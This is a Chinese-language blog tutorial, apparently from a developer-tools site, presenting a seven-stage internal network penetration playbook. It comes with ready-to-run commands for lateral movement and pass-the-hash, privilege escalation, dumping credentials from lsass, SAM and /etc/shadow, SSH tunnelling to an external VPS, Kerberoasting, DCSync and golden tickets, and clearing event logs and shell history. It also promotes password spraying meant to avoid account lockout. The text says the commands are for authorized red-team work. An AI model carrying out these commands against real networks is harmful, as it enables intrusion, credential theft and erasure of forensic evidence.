D
开发工具箱

内网渗透实战手册:从信息收集到拿下域控的命令体系

安全工具 2026年10月19日 约 12 分钟阅读

拿到了一台机器的权限,然后呢?

去年帮一个客户做授权红队,突破口是一台没打补丁的 Web 服务器,上传个 webshell 就拿到了普通用户 www。但客户真正关心的是:这台机器在内网里,能从它摸到什么? 单点突破没意义,内网渗透玩的是「拿到一个点,在内部网络里滚雪球」。

这篇不是教你写 0day,而是把从「刚进来」到「拿下整个域」这条路上,每一步该敲什么命令、为什么这么敲讲清楚。站里对应的 内网渗透命令生成器 把下面这些命令按阶段分好类,选好参数直接出命令;这篇负责讲明白它们背后的逻辑。

再次强调:以下一切命令,只可用于你拥有合法授权的目标与授权渗透范围。未授权的扫描、入侵、横向移动均属违法,本教程与工具不承担任何滥用后果。

内网渗透到底在干什么

一句话:它是「在一台已经被你控制的机器上,继续向内网其它机器、更高权限、乃至域控制器推进」的过程。它和互联网攻击最大的区别是——你已经在防火墙里面了,很多限制消失了,但你也更容易踩到蜜罐和日志监控。

我把整个过程拆成七个阶段,顺序基本固定:

1 信息收集摸清资产、拓扑、域结构:nmap / net / nltest 2 横向移动PsExec / WMI / WinRM / Pass-the-Hash 扩大立足点 3 权限提升普通用户提 SYSTEM / root:PowerUp、sudo -l、SUID 4 凭据获取从 lsass / SAM 提取明文密码与 NTLM 哈希 5 隧道与代理SSH / frp / socat 打通不出网段,映射内网端口 6 域渗透 (AD)Kerberoasting / DCSync / 黄金票据,拿下整个域 7 痕迹清理仅授权范围内清除日志与文件痕迹,收尾复盘
图 1:内网渗透七阶段总览。从信息收集起步,经横向移动、权限提升、凭据获取、隧道代理,再到域渗透,最后合法收尾。每一步都建立在上一步的立足点上。点上面的「播放」可以看阶段是怎么一段段推进的。

下面每个阶段我都给真实命令,Linux 和 Windows 分开标注。

① 信息收集:先看清自己在哪里

别一进来就乱扫。先看本机身份、补丁、网络,再看同网段有什么、有没有域。

whoami /priv                      # Windows:当前账户特权
systeminfo | findstr /i "KB"      # Windows:补丁级别,决定能用哪个提权漏洞
ipconfig /all && tasklist /svc    # Windows:网络与进程服务

发现同网段存活主机,Linux 下用 nmap:

nmap -sn 192.168.1.0/24           # 主机发现
nmap -sV -sC -p- 192.168.1.10     # 全端口 + 服务/脚本扫描

如果进了域,直接问域控要信息:

net group "Domain Admins" /domain  # 谁是域管理员
nltest /dclist:corp.local          # 列出域控地址
net view /domain                   # 域内机器清单

批量探测还能交给 crackmapexec(简称 cme):

crackmapexec smb 192.168.1.0/24 --pass-pol   # 批量 SMB 探测 + 密码策略

② 横向移动:从 A 机器跳到 B 机器

拿到一台,就要用它去碰别的机器。最经典的几招:

# PsExec:最直白的远程执行
psexec \\192.168.1.10 -u admin -p Passw0rd cmd

# WMI:走系统自带接口,比 PsExec 更隐蔽
wmic /node:192.168.1.10 /user:admin /password:Passw0rd process call create "cmd.exe"

# WinRM:现代 Windows 默认开的远程管理服务
winrs -r:http://192.168.1.10:5985 -u:admin -p:Passw0rd "ipconfig"

# Pass-the-Hash:有 NTLM 哈希就能动,不必破出明文密码
psexec.py -hashes :NTHASH corp/[email protected]

最后一条是内网渗透的「名场面」——你拿不到明文密码没关系,只要拿到哈希,配合 impacket 这套工具照样能横着走。这就是为什么下一阶段「凭据获取」如此关键。

③ 权限提升:从普通用户到 SYSTEM

横向过去可能只是个普通域用户,很多活儿干不了。先确认自己有什么特权:

whoami /priv                  # 看有没有 SeImpersonatePrivilege(土豆提权常用)
systeminfo | findstr /i "KB" # 比对补丁,找可用提权 CVE

Windows 上一键体检用 PowerUp:

powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"

这条命令里 -ep bypass 是绕过 PowerShell 的「执行策略」(ExecutionPolicy)——默认情况下系统会禁止运行脚本,加上它才能把 PowerUp.ps1 跑起来;. .\PowerUp.ps1 前面的点加空格是 PowerShell 的「点源(dot-source)」语法,意思是把脚本里的函数直接载入当前会话(而不是开个子作用域跑完即弃),这样后面才能直接调用 Invoke-AllChecks 这个函数。而 Invoke-AllChecks 才是真正的体检入口,它内部会按顺序跑一大堆「检查函数」,每一项都对应一个常见的提权向量:

  • Get-ServiceUnquoted:找带空格且无引号的服务路径(如 C:\Program Files\Foo\foo.exe),攻击者在路径前半段植入同名恶意 exe 即可被服务以 SYSTEM 启动;
  • Get-ServiceFilePermission / Get-ServicePermission:找当前用户能改服务二进制文件或**能改服务配置(如把 binPath 指向自己的 exe)**的服务;
  • Get-RegistryAlwaysInstallElevated:检查是否开启了「始终以管理员身份安装 .msi」策略,开了就能用一个普通 msi 直接提 SYSTEM;
  • Get-ModifiableScheduledTaskFile:找计划任务指向的可写文件,篡改后等任务触发即以高权执行;
  • Get-UnattendInstallFile / Get-ApplicationHost / Get-SiteListPassword:从无人值守安装文件、IIS 配置、Internet Explorer 站点列表里翻出明文凭据;
  • Get-ModifiableServiceRegistry:找注册表里服务键值当前用户可写的情况;
  • Find-ProcessDLLHijack / Get-DllHijack:探测** DLL 劫持**点;
  • Get-PathHijack:找 PATH 里低权目录排在前面导致的劫持。

所以 PowerUp.ps1 本身不是「一键提权器」,而是一个枚举脚本:它把上面这些脆弱点一项项列出来,并在输出里提示对应的利用函数(比如发现 unquoted 服务,就用 Write-ServiceBinary -ServiceName X 去写恶意二进制)。检测到 SeImpersonatePrivilege 这类土豆提权前置条件时,它会额外提示你该上 JuicyPotato / PrintSpoofer。

Linux 侧则是老三样:

sudo -l                                   # 看能不能免密 sudo
find / -perm -4000 -type f 2>/dev/null    # SUID 提权候选
linpeas.sh                                # 自动化提权信息收集

linpeas.sh 跟 PowerUp 是同一个思路——它也不是直接提权,而是全量枚举系统弱点。脚本开头会一次性 dump 出大量信息:内核版本与已知 CVE、当前用户能与不能 sudo 的命令、SUID/SGID 二进制、cron 计划任务内容、环境变量里可疑的 PATH、可写文件/目录、挂载的敏感分区(如 docker、NFS no_root_squash)、容器内是否挂载了宿主 /、SSH 私钥、/etc/passwd 与 /etc/shadow 权限、监听端口与活动连接、已加载的可利用内核模块……它会用颜色高亮「可能可利用」的项(比如一个能 sudo 的 nano、env_keep 里带 LD_PRELOAD、某个 SUID 的 find/vim 可借 :!sh 起 shell)。换句话说,linpeas.sh 把上面 sudo -l、find -perm -4000 这些手工检查自动化并扩展到了几十个项目,跑完它给你一份按风险排序的「待利用清单」,你再照着手动提权。

④ 凭据获取:把密码和哈希掏出来

权限够了,下一步是「以战养战」——从内存和文件里挖更多凭据,拿去喂给下一轮横向。

# Mimikatz 提取内存里的明文密码与哈希
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# 没 Mimikatz 时,直接转储 lsass 进程内存
rundll32 comsvcs.dll MiniDump <lsass_pid> C:\lsass.dmp

# 导出本地 SAM 里的 NTLM 哈希(可离线破解)
mimikatz # lsadump::sam

Linux 侧常见的明文凭据就散落在这些地方:

cat /etc/shadow                 # 哈希
cat ~/.bash_history             # 历史命令里常有密码
grep -R "password" /var/www    # 配置文件里的硬编码

⑤ 隧道与代理:打通不出网段

很多内网目标「不出网」——它只和内网通信,你从外网根本碰不到。这时候要在已控机器上做端口转发,把内网端口「搬」到你手上。原理见下图:

攻击者外部网络 内网目标RDP 3389(隔离) ✗ 网络隔离,不可直达 跳板机 Pivot已进入内网 隧道:攻击者 → 跳板 → 内网目标ssh -L 8888:target:3389 pivot 本地 8888 → 内网 3389 通了流量经隧道直达目标 三种模式-L 本地转发 · -R 远程转发 · -D 动态 SOCKS
图 2:端口转发(隧道)原理。攻击者身处外网、与内网目标隔离;先控制一台在内网的跳板机,再用 SSH 等建立隧道,把内网端口映射到攻击者本地,从而像在本地一样访问目标。点上面的「播放」可以看隧道是怎么一段段搭起来的。

最常见的三种转发:

# 本地转发:把内网目标的 3389 映射到攻击者本机 8888
ssh -L 8888:192.168.1.10:3389 user@跳板机

# 远程转发:把内网服务暴露到你的 VPS
ssh -R 9999:127.0.0.1:3389 user@vps

# 动态 SOCKS:浏览器挂 1080 即可访问整个内网
ssh -D 1080 user@跳板机

站里那个 内网渗透命令生成器 顶部就有「端口转发生成器」,把工具、模式、端口一填,命令直接给你拼好——比如选 SSH + 本地转发 + 目标 3389,出来的就是上面第一行。Windows 上没 SSH 时,换 netsh interface portproxy 或 lcx 也能做同样的事。

⑥ 域渗透:拿下整个域

如果目标是 Windows 域环境,真正的终点是域控制器。几个标志性动作:

# Kerberoasting:请求服务账号的 TGS 票据,拿回去离线爆破密码
Rubeus.exe kerberoasting

# DCSync:直接让域控把任意用户的哈希「同步」给你,无需登录域控
mimikatz # lsadump::dcsync /domain:corp.local /user:administrator

# 黄金票据:拿到 krbtgt 哈希后,伪造任意域管票据,长期有效
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:HASH /ptt

做这些之前,先用 BloodHound 把域里「谁能到谁」的关系图跑出来,能省掉大量瞎试:

bloodhound-python -u user -p Pass -d corp.local -c all -ns 192.168.1.5

域渗透的水很深,上面只是最常被用到的几招。核心思路始终是:拿凭据 → 复用凭据 → 顺着信任关系一路提权到域管。

⑦ 痕迹清理与收尾

测试收尾时,在授权范围内清掉你留下的日志和文件,既是对客户的尊重,也是标准流程:

wevtutil cl System && wevtutil cl Security && wevtutil cl Application   # 清 Windows 三大日志
history -c && echo > ~/.bash_history && unset HISTFILE                   # 清 Linux shell 历史
del /F /Q C:\tool\beacon.exe                                            # 删掉落地工具

注意:这一步只能在你有明确授权时才做,否则你清理的就是犯罪证据。

两个省事的小生成器

内网渗透命令生成器 除了上面的命令库,还内置了两个真·生成器:

  • 端口转发生成器:选 SSH / frp / socat / lcx / netsh + 本地/远程/动态模式,填端口和目标,命令直接拼好;对不支持的组合(比如 socat 不支持 SOCKS、netsh 只支持本地转发)会给出提示。
  • 密码喷射生成器:选 kerbrute / crackmapexec / netexec,填域名、域控、用户字典、密码,直接输出对应命令。密码喷射是拿不到具体密码时的常用打法——用一批账号撞同一个弱密码,比逐账号爆力破解更难被锁。

新手最容易踩的坑(FAQ)

Q:横向移动时报「拒绝访问」,但密码明明对? 多半是「凭据对了,但权限/协议不对」。比如目标禁用了 WinRM、或者你拿的是 NTLM 哈希却硬要走需要明文密码的 psexec(这时改用 psexec.py -hashes 走 PTH)。先 net use \\host\ipc$ 验证连通性和凭据再上工具。

Q:Pass-the-Hash 为什么这么可怕? 因为它绕过了「破解出明文密码」这一步。只要你拿到 NTLM 哈希(从 lsass 或 SAM),就能直接拿去认证,攻击者根本不需要知道密码原文。这也是为什么域环境里「一键改所有口令」是发生泄露后的第一反应。

Q:隧道建立成功了,但连不上目标端口? 先确认三件事:跳板机到目标端口通不通(telnet 目标 端口)、本地映射端口没被防火墙拦、以及你用的是 -L 还是 -R——这两个方向是反的,我经常看到有人把方向填反了导致连的是自己。

Q:密码喷射和暴力破解有什么区别?应该选哪个? 暴力破解是「一个账号 + 海量密码」,最容易触发账户锁定;密码喷射是「海量账号 + 一个密码」,专门绕过锁定策略。内网里通常先用喷射,命中后再针对性爆破。生成器里的 kerbrute 就是干这个的。

Q:没有域,纯工作组环境还值得做域渗透吗? 不值得——域渗透那套(Kerberoasting、DCSync、黄金票据)全都依赖 Active Directory。工作组环境集中在前面 1~5 阶段:信息收集、横向(靠共享/弱口令)、提权、凭据、隧道。

Q:这些工具会被杀软干掉吗? 会。Mimikatz、Rubeus、各种 beacon 基本都在杀软黑名单里。授权测试时客户通常会加白名单;真打对抗环境,需要免杀处理——但那已经超出本教程范围,而且务必只在授权目标上做。

相关工具